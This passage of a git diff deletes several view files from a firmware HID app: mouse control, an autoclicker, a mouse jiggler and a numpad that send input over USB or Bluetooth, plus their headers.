{ - canvas_draw_icon(canvas, 0, 0, &I_Ble_disconnected_15x15); - } - } - - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_aligned(canvas, 17, 3, AlignLeft, AlignTop, "Mouse"); - canvas_set_font(canvas, FontSecondary); - - if(model->left_mouse_held == true) { - elements_multiline_text_aligned(canvas, 0, 62, AlignLeft, AlignBottom, "Selecting..."); - } else { - canvas_draw_icon(canvas, 0, 54, &I_Pin_back_arrow_10x8); - canvas_set_font(canvas, FontSecondary); - elements_multiline_text_aligned(canvas, 13, 62, AlignLeft, AlignBottom, "Hold to exit"); - } - - // Keypad circles - canvas_draw_icon(canvas, 58, 3, &I_OutCircles_70x51); - - // Up - if(model->up_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 68, 6, &I_S_UP_31x15); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 80, 8, &I_Pin_arrow_up_7x9); - canvas_set_color(canvas, ColorBlack); - - // Down - if(model->down_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 68, 36, &I_S_DOWN_31x15); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 80, 40, &I_Pin_arrow_down_7x9); - canvas_set_color(canvas, ColorBlack); - - // Left - if(model->left_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 61, 13, &I_S_LEFT_15x31); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 63, 25, &I_Pin_arrow_left_9x7); - canvas_set_color(canvas, ColorBlack); - - // Right - if(model->right_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 91, 13, &I_S_RIGHT_15x31); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 95, 25, &I_Pin_arrow_right_9x7); - canvas_set_color(canvas, ColorBlack); - - // Ok - if(model->left_mouse_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 74, 19, &I_Pressed_Button_19x19); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 79, 24, &I_Left_mouse_icon_9x9); - canvas_set_color(canvas, ColorBlack); - - // Back - if(model->right_mouse_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 107, 33, &I_Pressed_Button_19x19); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 112, 38, &I_Right_mouse_icon_9x9); - canvas_set_color(canvas, ColorBlack); -} - -static void hid_mouse_process(HidMouse* hid_mouse, InputEvent* event) { - with_view_model( - hid_mouse->view, - HidMouseModel * model, - { - if(event->key == InputKeyBack) { - if(event->type == InputTypeShort) { - hid_hal_mouse_press(hid_mouse->hid, HID_MOUSE_BTN_RIGHT); - hid_hal_mouse_release(hid_mouse->hid, HID_MOUSE_BTN_RIGHT); - } else if(event->type == InputTypePress) { - model->right_mouse_pressed = true; - } else if(event->type == InputTypeRelease) { - model->right_mouse_pressed = false; - } - } else if(event->key == InputKeyOk) { - if(event->type == InputTypeShort) { - // Just release if it was being held before - if(!model->left_mouse_held) - hid_hal_mouse_press(hid_mouse->hid, HID_MOUSE_BTN_LEFT); - hid_hal_mouse_release(hid_mouse->hid, HID_MOUSE_BTN_LEFT); - model->left_mouse_held = false; - } else if(event->type == InputTypeLong) { - hid_hal_mouse_press(hid_mouse->hid, HID_MOUSE_BTN_LEFT); - model->left_mouse_held = true; - model->left_mouse_pressed = true; - } else if(event->type == InputTypePress) { - model->left_mouse_pressed = true; - } else if(event->type == InputTypeRelease) { - // Only release if it wasn't a long press - if(!model->left_mouse_held) model->left_mouse_pressed = false; - } - } else if(event->key == InputKeyRight) { - if(event->type == InputTypePress) { - model->right_pressed = true; - hid_hal_mouse_move(hid_mouse->hid, MOUSE_MOVE_SHORT, 0); - } else if(event->type == InputTypeRepeat) { - hid_hal_mouse_move(hid_mouse->hid, MOUSE_MOVE_LONG, 0); - } else if(event->type == InputTypeRelease) { - model->right_pressed = false; - } - } else if(event->key == InputKeyLeft) { - if(event->type == InputTypePress) { - model->left_pressed = true; - hid_hal_mouse_move(hid_mouse->hid, -MOUSE_MOVE_SHORT, 0); - } else if(event->type == InputTypeRepeat) { - hid_hal_mouse_move(hid_mouse->hid, -MOUSE_MOVE_LONG, 0); - } else if(event->type == InputTypeRelease) { - model->left_pressed = false; - } - } else if(event->key == InputKeyDown) { - if(event->type == InputTypePress) { - model->down_pressed = true; - hid_hal_mouse_move(hid_mouse->hid, 0, MOUSE_MOVE_SHORT); - } else if(event->type == InputTypeRepeat) { - hid_hal_mouse_move(hid_mouse->hid, 0, MOUSE_MOVE_LONG); - } else if(event->type == InputTypeRelease) { - model->down_pressed = false; - } - } else if(event->key == InputKeyUp) { - if(event->type == InputTypePress) { - model->up_pressed = true; - hid_hal_mouse_move(hid_mouse->hid, 0, -MOUSE_MOVE_SHORT); - } else if(event->type == InputTypeRepeat) { - hid_hal_mouse_move(hid_mouse->hid, 0, -MOUSE_MOVE_LONG); - } else if(event->type == InputTypeRelease) { - model->up_pressed = false; - } - } - }, - true); -} - -static bool hid_mouse_input_callback(InputEvent* event, void* context) { - furi_assert(context); - HidMouse* hid_mouse = context; - bool consumed = false; - - if(event->type == InputTypeLong && event->key == InputKeyBack) { - hid_hal_mouse_release_all(hid_mouse->hid); - } else { - hid_mouse_process(hid_mouse, event); - consumed = true; - } - - return consumed; -} - -HidMouse* hid_mouse_alloc(Hid* hid) { - HidMouse* hid_mouse = malloc(sizeof(HidMouse)); - hid_mouse->view = view_alloc(); - hid_mouse->hid = hid; - view_set_context(hid_mouse->view, hid_mouse); - view_allocate_model(hid_mouse->view, ViewModelTypeLocking, sizeof(HidMouseModel)); - view_set_draw_callback(hid_mouse->view, hid_mouse_draw_callback); - view_set_input_callback(hid_mouse->view, hid_mouse_input_callback); - - with_view_model( - hid_mouse->view, HidMouseModel * model, { model->transport = hid->transport; }, true); - - return hid_mouse; -} - -void hid_mouse_free(HidMouse* hid_mouse) { - furi_assert(hid_mouse); - view_free(hid_mouse->view); - free(hid_mouse); -} - -View* hid_mouse_get_view(HidMouse* hid_mouse) { - furi_assert(hid_mouse); - return hid_mouse->view; -} - -void hid_mouse_set_connected_status(HidMouse* hid_mouse, bool connected) { - furi_assert(hid_mouse); - with_view_model( - hid_mouse->view, HidMouseModel * model, { model->connected = connected; }, true); -} diff --git a/applications/external/hid_app/views/hid_mouse.h b/applications/external/hid_app/views/hid_mouse.h deleted file mode 100644 index d9fb2fd88..000000000 --- a/applications/external/hid_app/views/hid_mouse.h +++ /dev/null @@ -1,17 +0,0 @@ -#pragma once - -#include - -#define MOUSE_MOVE_SHORT 5 -#define MOUSE_MOVE_LONG 20 - -typedef struct Hid Hid; -typedef struct HidMouse HidMouse; - -HidMouse* hid_mouse_alloc(Hid* bt_hid); - -void hid_mouse_free(HidMouse* hid_mouse); - -View* hid_mouse_get_view(HidMouse* hid_mouse); - -void hid_mouse_set_connected_status(HidMouse* hid_mouse, bool connected); diff --git a/applications/external/hid_app/views/hid_mouse_clicker.c b/applications/external/hid_app/views/hid_mouse_clicker.c deleted file mode 100644 index d85affc43..000000000 --- a/applications/external/hid_app/views/hid_mouse_clicker.c +++ /dev/null @@ -1,214 +0,0 @@ -#include "hid_mouse_clicker.h" -#include -#include "../hid.h" - -#include "hid_icons.h" - -#define TAG "HidMouseClicker" -#define DEFAULT_CLICK_RATE 1 -#define MAXIMUM_CLICK_RATE 60 - -struct HidMouseClicker { - View* view; - Hid* hid; - FuriTimer* timer; -}; - -typedef struct { - bool connected; - bool running; - int rate; - HidTransport transport; -} HidMouseClickerModel; - -static void hid_mouse_clicker_start_or_restart_timer(void* context) { - furi_assert(context); - HidMouseClicker* hid_mouse_clicker = context; - - if(furi_timer_is_running(hid_mouse_clicker->timer)) { - furi_timer_stop(hid_mouse_clicker->timer); - } - - with_view_model( - hid_mouse_clicker->view, - HidMouseClickerModel * model, - { - furi_timer_start( - hid_mouse_clicker->timer, furi_kernel_get_tick_frequency() / model->rate); - }, - true); -} - -static void hid_mouse_clicker_draw_callback(Canvas* canvas, void* context) { - furi_assert(context); - HidMouseClickerModel* model = context; - - // Header - if(model->transport == HidTransportBle) { - if(model->connected) { - canvas_draw_icon(canvas, 0, 0, &I_Ble_connected_15x15); - } else { - canvas_draw_icon(canvas, 0, 0, &I_Ble_disconnected_15x15); - } - } - - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_aligned(canvas, 17, 3, AlignLeft, AlignTop, "Mouse Clicker"); - - // Ok - canvas_draw_icon(canvas, 63, 25, &I_Space_65x18); - if(model->running) { - canvas_set_font(canvas, FontPrimary); - - FuriString* rate_label = furi_string_alloc(); - furi_string_printf(rate_label, "%d clicks/s\n\nUp / Down", model->rate); - elements_multiline_text(canvas, AlignLeft, 35, furi_string_get_cstr(rate_label)); - canvas_set_font(canvas, FontSecondary); - furi_string_free(rate_label); - - elements_slightly_rounded_box(canvas, 66, 27, 60, 13); - canvas_set_color(canvas, ColorWhite); - } else { - canvas_set_font(canvas, FontPrimary); - elements_multiline_text(canvas, AlignLeft, 35, "Press Start\nto start\nclicking"); - canvas_set_font(canvas, FontSecondary); - } - canvas_draw_icon(canvas, 74, 29, &I_Ok_btn_9x9); - if(model->running) { - elements_multiline_text_aligned(canvas, 91, 36, AlignLeft, AlignBottom, "Stop"); - } else { - elements_multiline_text_aligned(canvas, 91, 36, AlignLeft, AlignBottom, "Start"); - } - canvas_set_color(canvas, ColorBlack); - - // Back - canvas_draw_icon(canvas, 74, 49, &I_Pin_back_arrow_10x8); - elements_multiline_text_aligned(canvas, 91, 57, AlignLeft, AlignBottom, "Quit"); -} - -static void hid_mouse_clicker_timer_callback(void* context) { - furi_assert(context); - HidMouseClicker* hid_mouse_clicker = context; - with_view_model( - hid_mouse_clicker->view, - HidMouseClickerModel * model, - { - if(model->running) { - hid_hal_mouse_press(hid_mouse_clicker->hid, HID_MOUSE_BTN_LEFT); - hid_hal_mouse_release(hid_mouse_clicker->hid, HID_MOUSE_BTN_LEFT); - } - }, - false); -} - -static void hid_mouse_clicker_enter_callback(void* context) { - hid_mouse_clicker_start_or_restart_timer(context); -} - -static void hid_mouse_clicker_exit_callback(void* context) { - furi_assert(context); - HidMouseClicker* hid_mouse_clicker = context; - furi_timer_stop(hid_mouse_clicker->timer); -} - -static bool hid_mouse_clicker_input_callback(InputEvent* event, void* context) { - furi_assert(context); - HidMouseClicker* hid_mouse_clicker = context; - - bool consumed = false; - bool rate_changed = false; - - if(event->type != InputTypeShort && event->type != InputTypeRepeat) { - return false; - } - - with_view_model( - hid_mouse_clicker->view, - HidMouseClickerModel * model, - { - switch(event->key) { - case InputKeyOk: - model->running = !model->running; - consumed = true; - break; - case InputKeyUp: - if(model->rate < MAXIMUM_CLICK_RATE) { - model->rate++; - } - rate_changed = true; - consumed = true; - break; - case InputKeyDown: - if(model->rate > 1) { - model->rate--; - } - rate_changed = true; - consumed = true; - break; - default: - consumed = true; - break; - } - }, - true); - - if(rate_changed) { - hid_mouse_clicker_start_or_restart_timer(context); - } - - return consumed; -} - -HidMouseClicker* hid_mouse_clicker_alloc(Hid* hid) { - HidMouseClicker* hid_mouse_clicker = malloc(sizeof(HidMouseClicker)); - - hid_mouse_clicker->view = view_alloc(); - view_set_context(hid_mouse_clicker->view, hid_mouse_clicker); - view_allocate_model( - hid_mouse_clicker->view, ViewModelTypeLocking, sizeof(HidMouseClickerModel)); - view_set_draw_callback(hid_mouse_clicker->view, hid_mouse_clicker_draw_callback); - view_set_input_callback(hid_mouse_clicker->view, hid_mouse_clicker_input_callback); - view_set_enter_callback(hid_mouse_clicker->view, hid_mouse_clicker_enter_callback); - view_set_exit_callback(hid_mouse_clicker->view, hid_mouse_clicker_exit_callback); - - hid_mouse_clicker->hid = hid; - - hid_mouse_clicker->timer = furi_timer_alloc( - hid_mouse_clicker_timer_callback, FuriTimerTypePeriodic, hid_mouse_clicker); - - with_view_model( - hid_mouse_clicker->view, - HidMouseClickerModel * model, - { - model->transport = hid->transport; - model->rate = DEFAULT_CLICK_RATE; - }, - true); - - return hid_mouse_clicker; -} - -void hid_mouse_clicker_free(HidMouseClicker* hid_mouse_clicker) { - furi_assert(hid_mouse_clicker); - - furi_timer_stop(hid_mouse_clicker->timer); - furi_timer_free(hid_mouse_clicker->timer); - - view_free(hid_mouse_clicker->view); - - free(hid_mouse_clicker); -} - -View* hid_mouse_clicker_get_view(HidMouseClicker* hid_mouse_clicker) { - furi_assert(hid_mouse_clicker); - return hid_mouse_clicker->view; -} - -void hid_mouse_clicker_set_connected_status(HidMouseClicker* hid_mouse_clicker, bool connected) { - furi_assert(hid_mouse_clicker); - with_view_model( - hid_mouse_clicker->view, - HidMouseClickerModel * model, - { model->connected = connected; }, - true); -} diff --git a/applications/external/hid_app/views/hid_mouse_clicker.h b/applications/external/hid_app/views/hid_mouse_clicker.h deleted file mode 100644 index d72847baa..000000000 --- a/applications/external/hid_app/views/hid_mouse_clicker.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include - -typedef struct Hid Hid; -typedef struct HidMouseClicker HidMouseClicker; - -HidMouseClicker* hid_mouse_clicker_alloc(Hid* bt_hid); - -void hid_mouse_clicker_free(HidMouseClicker* hid_mouse_clicker); - -View* hid_mouse_clicker_get_view(HidMouseClicker* hid_mouse_clicker); - -void hid_mouse_clicker_set_connected_status(HidMouseClicker* hid_mouse_clicker, bool connected); diff --git a/applications/external/hid_app/views/hid_mouse_jiggler.c b/applications/external/hid_app/views/hid_mouse_jiggler.c deleted file mode 100644 index 09c14c668..000000000 --- a/applications/external/hid_app/views/hid_mouse_jiggler.c +++ /dev/null @@ -1,183 +0,0 @@ -#include "hid_mouse_jiggler.h" -#include -#include "../hid.h" - -#include "hid_icons.h" - -#define TAG "HidMouseJiggler" - -struct HidMouseJiggler { - View* view; - Hid* hid; - FuriTimer* timer; -}; - -typedef struct { - bool connected; - bool running; - int interval_idx; - uint8_t counter; - HidTransport transport; -} HidMouseJigglerModel; - -const int intervals[6] = {500, 2000, 5000, 10000, 30000, 60000}; - -static void hid_mouse_jiggler_draw_callback(Canvas* canvas, void* context) { - furi_assert(context); - HidMouseJigglerModel* model = context; - - // Header - if(model->transport == HidTransportBle) { - if(model->connected) { - canvas_draw_icon(canvas, 0, 0, &I_Ble_connected_15x15); - } else { - canvas_draw_icon(canvas, 0, 0, &I_Ble_disconnected_15x15); - } - } - - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_aligned(canvas, 17, 2, AlignLeft, AlignTop, "Mouse Jiggler"); - - // Timeout - elements_multiline_text(canvas, AlignLeft, 26, "Interval (ms):"); - canvas_set_font(canvas, FontSecondary); - if(model->interval_idx != 0) canvas_draw_icon(canvas, 74, 19, &I_ButtonLeft_4x7); - if(model->interval_idx != (int)COUNT_OF(intervals) - 1) - canvas_draw_icon(canvas, 80, 19, &I_ButtonRight_4x7); - FuriString* interval_str = furi_string_alloc_printf("%d", intervals[model->interval_idx]); - elements_multiline_text(canvas, 91, 26, furi_string_get_cstr(interval_str)); - furi_string_free(interval_str); - - canvas_set_font(canvas, FontPrimary); - elements_multiline_text(canvas, AlignLeft, 40, "Press Start\nto jiggle"); - canvas_set_font(canvas, FontSecondary); - - // Ok - canvas_draw_icon(canvas, 63, 30, &I_Space_65x18); - if(model->running) { - elements_slightly_rounded_box(canvas, 66, 32, 60, 13); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 74, 34, &I_Ok_btn_9x9); - if(model->running) { - elements_multiline_text_aligned(canvas, 91, 41, AlignLeft, AlignBottom, "Stop"); - } else { - elements_multiline_text_aligned(canvas, 91, 41, AlignLeft, AlignBottom, "Start"); - } - canvas_set_color(canvas, ColorBlack); - - // Back - canvas_draw_icon(canvas, 74, 54, &I_Pin_back_arrow_10x8); - elements_multiline_text_aligned(canvas, 91, 62, AlignLeft, AlignBottom, "Quit"); -} - -static void hid_mouse_jiggler_timer_callback(void* context) { - furi_assert(context); - HidMouseJiggler* hid_mouse_jiggler = context; - with_view_model( - hid_mouse_jiggler->view, - HidMouseJigglerModel * model, - { - if(model->running) { - model->counter++; - hid_hal_mouse_move( - hid_mouse_jiggler->hid, - (model->counter % 2 == 0) ? MOUSE_MOVE_SHORT : -MOUSE_MOVE_SHORT, - 0); - } - }, - false); -} - -static void hid_mouse_jiggler_exit_callback(void* context) { - furi_assert(context); - HidMouseJiggler* hid_mouse_jiggler = context; - furi_timer_stop(hid_mouse_jiggler->timer); -} - -static bool hid_mouse_jiggler_input_callback(InputEvent* event, void* context) { - furi_assert(context); - HidMouseJiggler* hid_mouse_jiggler = context; - - bool consumed = false; - - with_view_model( - hid_mouse_jiggler->view, - HidMouseJigglerModel * model, - { - if(event->type == InputTypePress && event->key == InputKeyOk) { - model->running = !model->running; - if(model->running) { - furi_timer_stop(hid_mouse_jiggler->timer); - furi_timer_start(hid_mouse_jiggler->timer, intervals[model->interval_idx]); - }; - consumed = true; - } - if(event->type == InputTypePress && event->key == InputKeyRight && !model->running && - model->interval_idx < (int)COUNT_OF(intervals) - 1) { - model->interval_idx++; - consumed = true; - } - if(event->type == InputTypePress && event->key == InputKeyLeft && !model->running && - model->interval_idx > 0) { - model->interval_idx--; - consumed = true; - } - }, - true); - - return consumed; -} - -HidMouseJiggler* hid_mouse_jiggler_alloc(Hid* hid) { - HidMouseJiggler* hid_mouse_jiggler = malloc(sizeof(HidMouseJiggler)); - - hid_mouse_jiggler->view = view_alloc(); - view_set_context(hid_mouse_jiggler->view, hid_mouse_jiggler); - view_allocate_model( - hid_mouse_jiggler->view, ViewModelTypeLocking, sizeof(HidMouseJigglerModel)); - view_set_draw_callback(hid_mouse_jiggler->view, hid_mouse_jiggler_draw_callback); - view_set_input_callback(hid_mouse_jiggler->view, hid_mouse_jiggler_input_callback); - view_set_exit_callback(hid_mouse_jiggler->view, hid_mouse_jiggler_exit_callback); - - hid_mouse_jiggler->hid = hid; - - hid_mouse_jiggler->timer = furi_timer_alloc( - hid_mouse_jiggler_timer_callback, FuriTimerTypePeriodic, hid_mouse_jiggler); - - with_view_model( - hid_mouse_jiggler->view, - HidMouseJigglerModel * model, - { - model->transport = hid->transport; - model->interval_idx = 2; - }, - true); - - return hid_mouse_jiggler; -} - -void hid_mouse_jiggler_free(HidMouseJiggler* hid_mouse_jiggler) { - furi_assert(hid_mouse_jiggler); - - furi_timer_stop(hid_mouse_jiggler->timer); - furi_timer_free(hid_mouse_jiggler->timer); - - view_free(hid_mouse_jiggler->view); - - free(hid_mouse_jiggler); -} - -View* hid_mouse_jiggler_get_view(HidMouseJiggler* hid_mouse_jiggler) { - furi_assert(hid_mouse_jiggler); - return hid_mouse_jiggler->view; -} - -void hid_mouse_jiggler_set_connected_status(HidMouseJiggler* hid_mouse_jiggler, bool connected) { - furi_assert(hid_mouse_jiggler); - with_view_model( - hid_mouse_jiggler->view, - HidMouseJigglerModel * model, - { model->connected = connected; }, - true); -} diff --git a/applications/external/hid_app/views/hid_mouse_jiggler.h b/applications/external/hid_app/views/hid_mouse_jiggler.h deleted file mode 100644 index 0813b4351..000000000 --- a/applications/external/hid_app/views/hid_mouse_jiggler.h +++ /dev/null @@ -1,17 +0,0 @@ -#pragma once - -#include - -#define MOUSE_MOVE_SHORT 5 -#define MOUSE_MOVE_LONG 20 - -typedef struct Hid Hid; -typedef struct HidMouseJiggler HidMouseJiggler; - -HidMouseJiggler* hid_mouse_jiggler_alloc(Hid* bt_hid); - -void hid_mouse_jiggler_free(HidMouseJiggler* hid_mouse_jiggler); - -View* hid_mouse_jiggler_get_view(HidMouseJiggler* hid_mouse_jiggler); - -void hid_mouse_jiggler_set_connected_status(HidMouseJiggler* hid_mouse_jiggler, bool connected); diff --git a/applications/external/hid_app/views/hid_numpad.c b/applications/external/hid_app/views/hid_numpad.c deleted file mode 100644 index bd4788b83..000000000 --- a/applications/external/hid_app/views/hid_numpad.c +++ /dev/null @@ -1,318 +0,0 @@ -#include "hid_numpad.h" -#include -#include -#include -#include "../hid.h" -#include "hid_icons.h" - -#define TAG "HidNumpad" - -struct HidNumpad { - View* view; - Hid* hid; -}; - -typedef struct { - uint8_t last_x; - uint8_t last_y; - uint8_t x; - uint8_t y; - uint8_t last_key_code; - uint16_t modifier_code; - bool ok_pressed; - bool back_pressed; - bool connected; - char key_string[5]; - HidTransport transport; -} HidNumpadModel; - -typedef struct { - uint8_t width; - char* key; - uint8_t height; - const Icon* icon; - uint8_t value; -} HidNumpadKey; - -typedef struct { - int8_t x; - int8_t y; -} HidNumpadPoint; - -#define MARGIN_TOP 32 -#define MARGIN_LEFT 1 -#define KEY_WIDTH 20 -#define KEY_HEIGHT 15 -#define KEY_PADDING 1 -#define ROW_COUNT 6 -#define COLUMN_COUNT 3 - -const HidNumpadKey hid_numpad_keyset[ROW_COUNT][COLUMN_COUNT] = { - { - {.width = 1, .height = 1, .icon = NULL, .key = "NL", .value = HID_KEYPAD_NUMLOCK}, - {.width = 1, .height = 1, .icon = NULL, .key = "/", .value = HID_KEYPAD_SLASH}, - {.width = 1, .height = 1, .icon = NULL, .key = "*", .value = HID_KEYPAD_ASTERISK}, - // {.width = 1, .height = 1, .icon = NULL, .key = "-", .value = HID_KEYPAD_MINUS}, - }, - { - {.width = 1, .height = 1, .icon = NULL, .key = "7", .value = HID_KEYPAD_7}, - {.width = 1, .height = 1, .icon = NULL, .key = "8", .value = HID_KEYBOARD_8}, - {.width = 1, .height = 1, .icon = NULL, .key = "9", .value = HID_KEYBOARD_9}, - // {.width = 1, .height = 2, .icon = NULL, .key = "+", .value = HID_KEYPAD_PLUS}, - }, - { - {.width = 1, .height = 1, .icon = NULL, .key = "4", .value = HID_KEYPAD_4}, - {.width = 1, .height = 1, .icon = NULL, .key = "5", .value = HID_KEYPAD_5}, - {.width = 1, .height = 1, .icon = NULL, .key = "6", .value = HID_KEYPAD_6}, - }, - { - {.width = 1, .height = 1, .icon = NULL, .key = "1", .value = HID_KEYPAD_1}, - {.width = 1, .height = 1, .icon = NULL, .key = "2", .value = HID_KEYPAD_2}, - {.width = 1, .height = 1, .icon = NULL, .key = "3", .value = HID_KEYPAD_3}, - // {.width = 1, .height = 2, .icon = NULL, .key = "En", .value = HID_KEYPAD_ENTER}, - }, - { - {.width = 2, .height = 1, .icon = NULL, .key = "0", .value = HID_KEYBOARD_0}, - {.width = 0, .height = 0, .icon = NULL, .key = "0", .value = HID_KEYBOARD_0}, - {.width = 1, .height = 1, .icon = NULL, .key = ".", .value = HID_KEYPAD_DOT}, - }, - { - {.width = 1, .height = 1, .icon = NULL, .key = "En", .value = HID_KEYPAD_ENTER}, - {.width = 1, .height = 1, .icon = NULL, .key = "-", .value = HID_KEYPAD_MINUS}, - {.width = 1, .height = 1, .icon = NULL, .key = "+", .value = HID_KEYPAD_PLUS}, - }, -}; - -static void hid_numpad_draw_key( - Canvas* canvas, - HidNumpadModel* model, - uint8_t x, - uint8_t y, - HidNumpadKey key, - bool selected) { - if(!key.width || !key.height) return; - - canvas_set_color(canvas, ColorBlack); - uint8_t keyWidth = KEY_WIDTH * key.width + KEY_PADDING * (key.width - 1); - uint8_t keyHeight = KEY_HEIGHT * key.height + KEY_PADDING * (key.height - 1); - if(selected) { - elements_slightly_rounded_box( - canvas, - MARGIN_LEFT + x * (KEY_WIDTH + KEY_PADDING), - MARGIN_TOP + y * (KEY_HEIGHT + KEY_PADDING), - keyWidth, - keyHeight); - canvas_set_color(canvas, ColorWhite); - } else { - elements_slightly_rounded_frame( - canvas, - MARGIN_LEFT + x * (KEY_WIDTH + KEY_PADDING), - MARGIN_TOP + y * (KEY_HEIGHT + KEY_PADDING), - keyWidth, - keyHeight); - } - if(key.icon != NULL) { - canvas_draw_icon( - canvas, - MARGIN_LEFT + x * (KEY_WIDTH + KEY_PADDING) + keyWidth / 2 - key.icon->width / 2, - MARGIN_TOP + y * (KEY_HEIGHT + KEY_PADDING) + keyHeight / 2 - key.icon->height / 2, - key.icon); - } else { - strcpy(model->key_string, key.key); - canvas_draw_str_aligned( - canvas, - MARGIN_LEFT + x * (KEY_WIDTH + KEY_PADDING) + keyWidth / 2 + 1, - MARGIN_TOP + y * (KEY_HEIGHT + KEY_PADDING) + keyHeight / 2 + 1, - AlignCenter, - AlignCenter, - model->key_string); - } -} - -static void hid_numpad_draw_callback(Canvas* canvas, void* context) { - furi_assert(context); - HidNumpadModel* model = context; - - // Header - canvas_set_font(canvas, FontPrimary); - if(model->transport == HidTransportBle) { - if(model->connected) { - canvas_draw_icon(canvas, 0, 0, &I_Ble_connected_15x15); - } else { - canvas_draw_icon(canvas, 0, 0, &I_Ble_disconnected_15x15); - elements_multiline_text_aligned( - canvas, 7, 60, AlignLeft, AlignBottom, "Waiting for\nConnection..."); - } - elements_multiline_text_aligned(canvas, 20, 3, AlignLeft, AlignTop, "Numpad"); - - } else { - elements_multiline_text_aligned(canvas, 12, 3, AlignLeft, AlignTop, "Numpad"); - } - - canvas_draw_icon(canvas, 3, 18, &I_Pin_back_arrow_10x8); - canvas_set_font(canvas, FontSecondary); - elements_multiline_text_aligned(canvas, 15, 19, AlignLeft, AlignTop, "Hold to exit"); - - if(!model->connected && (model->transport == HidTransportBle)) { - return; - } - - canvas_set_font(canvas, FontKeyboard); - uint8_t initY = 0; // = model->y == 0 ? 0 : 1; - - // if(model->y > ROW_COUNT) { - // initY = model->y - (ROW_COUNT - 1); - // } - - for(uint8_t y = initY; y < ROW_COUNT; y++) { - const HidNumpadKey* numpadKeyRow = hid_numpad_keyset[y]; - uint8_t x = 0; - for(uint8_t i = 0; i < COLUMN_COUNT; i++) { - HidNumpadKey key = numpadKeyRow[i]; - bool keySelected = (x <= model->x && model->x < (x + key.width)) && y == model->y; - bool backSelected = model->back_pressed && key.value == HID_KEYBOARD_DELETE; - hid_numpad_draw_key( - canvas, - model, - x, - y - initY, - key, - (!model->ok_pressed && keySelected) || backSelected); - x += key.width; - } - } -} - -static uint8_t hid_numpad_get_selected_key(HidNumpadModel* model) { - HidNumpadKey key = hid_numpad_keyset[model->y][model->x]; - return key.value; -} - -static void hid_numpad_get_select_key(HidNumpadModel* model, HidNumpadPoint delta) { - do { - const int delta_sum = model->y + delta.y; - model->y = delta_sum < 0 ? ROW_COUNT - 1 : delta_sum % ROW_COUNT; - } while(delta.y != 0 && hid_numpad_keyset[model->y][model->x].value == 0); - - do { - const int delta_sum = model->x + delta.x; - model->x = delta_sum < 0 ? COLUMN_COUNT - 1 : delta_sum % COLUMN_COUNT; - } while(delta.x != 0 && hid_numpad_keyset[model->y][model->x].width == 0); -} - -static void hid_numpad_process(HidNumpad* hid_numpad, InputEvent* event) { - with_view_model( - hid_numpad->view, - HidNumpadModel * model, - { - if(event->key == InputKeyOk) { - if(event->type == InputTypePress) { - model->ok_pressed = true; - } else if(event->type == InputTypeLong || event->type == InputTypeShort) { - model->last_key_code = hid_numpad_get_selected_key(model); - hid_hal_keyboard_press( - hid_numpad->hid, model->modifier_code | model->last_key_code); - } else if(event->type == InputTypeRelease) { - hid_hal_keyboard_release( - hid_numpad->hid, model->modifier_code | model->last_key_code); - model->ok_pressed = false; - } - } else if(event->key == InputKeyBack) { - if(event->type == InputTypePress) { - model->back_pressed = true; - } else if(event->type == InputTypeShort) { - hid_hal_keyboard_press(hid_numpad->hid, HID_KEYBOARD_DELETE); - hid_hal_keyboard_release(hid_numpad->hid, HID_KEYBOARD_DELETE); - } else if(event->type == InputTypeRelease) { - model->back_pressed = false; - } - } else if(event->type == InputTypePress || event->type == InputTypeRepeat) { - if(event->key == InputKeyUp) { - hid_numpad_get_select_key(model, (HidNumpadPoint){.x = 0, .y = -1}); - } else if(event->key == InputKeyDown) { - hid_numpad_get_select_key(model, (HidNumpadPoint){.x = 0, .y = 1}); - } else if(event->key == InputKeyLeft) { - if(model->last_x == 2 && model->last_y == 2 && model->y == 1 && - model->x == 3) { - model->x = model->last_x; - model->y = model->last_y; - } else if( - model->last_x == 2 && model->last_y == 4 && model->y == 3 && - model->x == 3) { - model->x = model->last_x; - model->y = model->last_y; - } else - hid_numpad_get_select_key(model, (HidNumpadPoint){.x = -1, .y = 0}); - model->last_x = 0; - model->last_y = 0; - } else if(event->key == InputKeyRight) { - if(model->x == 2 && model->y == 2) { - model->last_x = model->x; - model->last_y = model->y; - hid_numpad_get_select_key(model, (HidNumpadPoint){.x = 1, .y = -1}); - } else if(model->x == 2 && model->y == 4) { - model->last_x = model->x; - model->last_y = model->y; - hid_numpad_get_select_key(model, (HidNumpadPoint){.x = 1, .y = -1}); - } else { - hid_numpad_get_select_key(model, (HidNumpadPoint){.x = 1, .y = 0}); - } - } - } - }, - true); -} - -static bool hid_numpad_input_callback(InputEvent* event, void* context) { - furi_assert(context); - HidNumpad* hid_numpad = context; - bool consumed = false; - - if(event->type == InputTypeLong && event->key == InputKeyBack) { - hid_hal_keyboard_release_all(hid_numpad->hid); - } else { - hid_numpad_process(hid_numpad, event); - consumed = true; - } - - return consumed; -} - -HidNumpad* hid_numpad_alloc(Hid* bt_hid) { - HidNumpad* hid_numpad = malloc(sizeof(HidNumpad)); - hid_numpad->view = view_alloc(); - hid_numpad->hid = bt_hid; - view_set_context(hid_numpad->view, hid_numpad); - view_allocate_model(hid_numpad->view, ViewModelTypeLocking, sizeof(HidNumpadModel)); - view_set_orientation(hid_numpad->view, 